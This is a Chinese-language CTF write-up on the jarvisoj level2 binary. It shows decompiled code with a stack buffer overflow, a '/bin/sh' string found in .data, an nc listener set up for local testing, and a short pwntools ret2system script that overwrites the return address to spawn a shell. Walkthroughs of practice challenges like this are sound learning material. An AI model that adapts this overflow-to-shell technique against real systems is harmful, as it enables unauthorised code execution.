本文主要是介绍[CTF]jarvisoj_level2,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
解题思路
反编译后的源码:
undefined4 main(void)
{vulnerable_function();system("echo \'Hello World!\'");return 0;
}
void vulnerable_function(void)
{undefined local_8c [136];system("echo Input:");read(0,local_8c,0x100);return;
}
看完上面的反编译,直觉system函数都有了,就差/bin/sh了,搜一下,在.data中竟然也有:
hint XREF[1]: Entry Point(*)
0804a024 2f 62 69 undefined8 0068732F6E69622Fh6e 2f 73 68 00
突然有种把我整不会了的感觉,这剩下的不就是找溢出点了吗?
果然还是我太菜,这个程序里system调用会创建新进程,不管是gdb还是pwntools调试都会碰到进程切换的问题,果然把我整不会了~~~
到解出题时也还没找到方法(菜,也想头铁挑战一下),中间曲线了一下,模拟这个程序重新写了一个,去掉system调用,然后找到溢出点,再用nc模拟服务器运行:
nc -l -p 1299 | ./level2
最终找到溢出点。
pwn脚本如下:
from pwn import *from pwnlib.shellcraft import i386import timesh = remote('127.0.0.1',1299)base = 'A'*140sh.send(base.encode() + p32(0x0804849e) + p32(0x0804a024))sh.interactive()
总结:
进程切换情况下的调试,搜索这个方法,不算是找答案,应该还是先搜索这个方法,再继续做题。
这篇关于[CTF]jarvisoj_level2的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!